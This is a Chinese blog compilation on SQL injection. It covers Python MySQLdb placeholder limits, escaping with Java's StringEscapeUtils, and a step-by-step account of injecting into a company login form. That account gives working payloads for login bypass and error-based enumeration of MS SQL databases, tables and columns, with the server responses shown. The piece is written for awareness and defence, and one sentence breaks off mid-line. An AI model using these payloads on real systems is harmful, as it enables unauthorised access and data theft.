下面是网上搜到的一篇关于SQL注入的文章。最近在项目中涉及到防止SQL注入的部分，但是由于使用的是PYTHON和MYSQL，使用不了JAVA代码中提供的一些现成的方法，而且MYSQLDB模块中的EXECUTE方法不支持表名使用占位符。
execute(self,query, args=None)
Execute a query.
query -- string, query to execute on serverargs -- optional sequence or mapping, parameters to use with query.
Note: If args is a sequence, then %s must be used as theparameter placeholder in the query. If a mapping is used,%(key)s must be used as the placeholder.
Returns long integer rows affected, if any
Placeholders are supposed to be used for *values*, not other parts of the SQL statement. To insert table names, column names and stuff like that, use Python-level formatting.
cur.execute("select * from %s where name=%s",('t1','xx')) --python-level formatting，执行失败
cur.execute("select * from %s where name=%s"%('t1','xx')) --execute()-level formatting，执行成功，但是并没有达到防止SQL注入的效果
下面是文档上的一个例子
To perform a query, you first need a cursor, and then you can executequeries on it:
- c=db.cursor()
- max_price=5
- c.execute("""SELECT spam, eggs, sausage FROM breakfast
- WHERE price < %s""", (max_price,))
In this example, max_price=5 Why, then, use%s in thestring? Because MySQLdb will convert it to a SQL literal value, whichis the string '5'. When it's finished, the query will actually say,"...WHERE
price < 5".
无奈之下手工实现，需要两步：
1、把变量值中的单引号逃逸掉
2、给变量值两端加上单引号
#######################
应该说，您即使没有处理 HTML 或 JavaScript 的特殊字符，也不会带来灾难性的后果，但是如果不在动态构造 SQL 语句时对变量中特殊字符进行处理，将可能导致程序漏洞、数据盗取、数据破坏等严重的安全问题。网络中有大量讲解 SQL 注入的文章，感兴趣的读者可以搜索相关的资料深入研究。
虽然 SQL 注入的后果很严重，但是只要对动态构造的 SQL 语句的变量进行特殊字符转义处理，就可以避免这一问题的发生了。来看一个存在安全漏洞的经典例子：
以上 SQL 语句根据返回的结果数判断用户提供的登录信息是否正确，如果 userName 变量不经过特殊字符转义处理就直接合并到 SQL 语句中，黑客就可以通过将 userName 设置为 “1' or '1'='1”绕过用户名/密码的检查直接进入系统了。
所 以除非必要，一般建议通过 PreparedStatement 参数绑定的方式构造动态 SQL 语句，因为这种方式可以避免 SQL 注入的潜在安全问题。但是往往很难在应用中完全避免通过拼接字符串构造动态 SQL 语句的方式。为了防止他人使用特殊 SQL 字符破坏 SQL 的语句结构或植入恶意操作，必须在变量拼接到 SQL 语句之前对其中的特殊字符进行转义处理。Spring 并没有提供相应的工具类，您可以通过 jakarta commons lang 通用类包中（spring/lib/jakarta-commons/commons-lang.jar）的
StringEscapeUtils 完成这一工作：
清单 4. SqlEscapeExample
- package com.baobaotao.escape;
- import org.apache.commons.lang.StringEscapeUtils;
- public class SqlEscapeExample {
- public static void main(String[] args) {
- String userName = "1' or '1'='1";
- String password = "123456";
- userName = StringEscapeUtils.escapeSql(userName);
- password = StringEscapeUtils.escapeSql(password);
- String sql = "SELECT COUNT(userId) FROM t_user WHERE userName='"
- + userName + "' AND password ='" + password + "'";
- System.out.println(sql);
- }
- }
事实上， StringEscapeUtils 不但提供了 SQL 特殊字符转义处理的功能，还提供了 HTML、XML、JavaScript、Java 特殊字符的转义和还原的方法。如果您不介意引入 jakarta commons lang 类包，我们更推荐您
血腥！实况转播SQL注入全过程，让你知道危害有多大。
前阵子发现公司的网站有SQL注入漏洞，向项目经理提了以后，得到的答复异常的冷淡：“早就知道，这种asp的网站肯定有漏洞，要是Asp.net的网站就没问题”，先暂不评价此说法对错，如此冷淡的反应只能说明了对SQL注入的无知，今天就实况转播，来告诉大家SQL注入究竟有多大的危害。
初步注入--绕过验证，直接登录
公司网站登陆框如下：
可以看到除了账号密码之外，还有一个公司名的输入框，根据输入框的形式不难推出SQL的写法如下：
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'
我发现前两者都做一些检查，而第三个输入框却疏忽了，漏洞就在这里！注入开始，在输入框中输入以下内容：
用户名乱填，密码留空，这种情况下点击登录按钮后竟然成功登录了。我们看一下最终的SQL就会找到原因：
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
从代码可以看出，前一半单引号被闭合，后一半单引号被 “--”给注释掉，中间多了一个永远成立的条件“1=1”，这就造成任何字符都能成功登录的结果。而Sql注入的危害却不仅仅是匿名登录。
中级注入--借助异常获取信息。
现在我们在第三个输入框中写入：“‘ or 1=(SELECT @@version) –”。如下：
后台的SQL变成了这样：
SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'
判断条件变成了 1=(SELECT @@VERSION),这个写法肯定会导致错误，但出错正是我们想要的。点击登录后，页面出现以下信息：
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.
可怕的事情出现了，服务器的操作系统和SQL Server版本信息竟然通过错误显示出来。
危害扩大--获取服务器所有的库名、表名、字段名
接着，我们在输入框中输入如下信息：“t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”，此时发现第三个输入框有字数长度的限制，然而这种客户端的限制形同虚设，直接通过Google浏览器就能去除。
点击登录，返回的信息如下：
Conversion failed when converting the nvarchar value 'master' to data type int.
数据库名称“master”通过异常被显示出来！依次改变上面SQL语句中的序号，就能得到服务器上所有数据库的名称。
接着，输入信息如下：“b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--”
得到返回信息如下：
Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.
我们得到了master数据库中的第一张表名：“spt_fallback_db”，同上，依次改变序号，可得到该库全部表名。
现在我们以“spt_fallback_db”表为例，尝试获取该表中所有的字段名。在输入框中输入以下代码：“b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND
master..sysobjects.name='spt_fallback_db');”
于是，得到错误提示如下：
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";
这样第一个字段名“xserver_name”就出来了，依次改变序号，就能遍历出所有的字段名。
最终目的--获取数据库中的数据
写到这里，我们已知通过SQL注入能获取全部的数据库，表，及其字段，为了防止本文完全沦为注入教程，获取数据的代码就不再描述，而这篇文章的目的也已达到，SQL注入意味着什么？意味着数据库中所有数据都能被盗取。
当知道这个危害以后，是否还能有人对SQL注入漏洞置之不理？
结语
关于安全性，本文可总结出一下几点：
- 对用户输入的内容要时刻保持警惕。
- 只有客户端的验证等于没有验证。
- 永远不要把服务器错误信息暴露给用户。
除此之外，我还要补充几点：
- SQL注入不仅能通过输入框，还能通过Url达到目的。
- 除了服务器错误页面，还有其他办法获取到数据库信息。
- 可通过软件模拟注入行为，这种方式盗取信息的速度要比你想象中快的多。
- 漏洞跟语言平台无关，并非asp才有注入漏洞而asp.net就没有注入漏洞，一切要看设计者是否用心。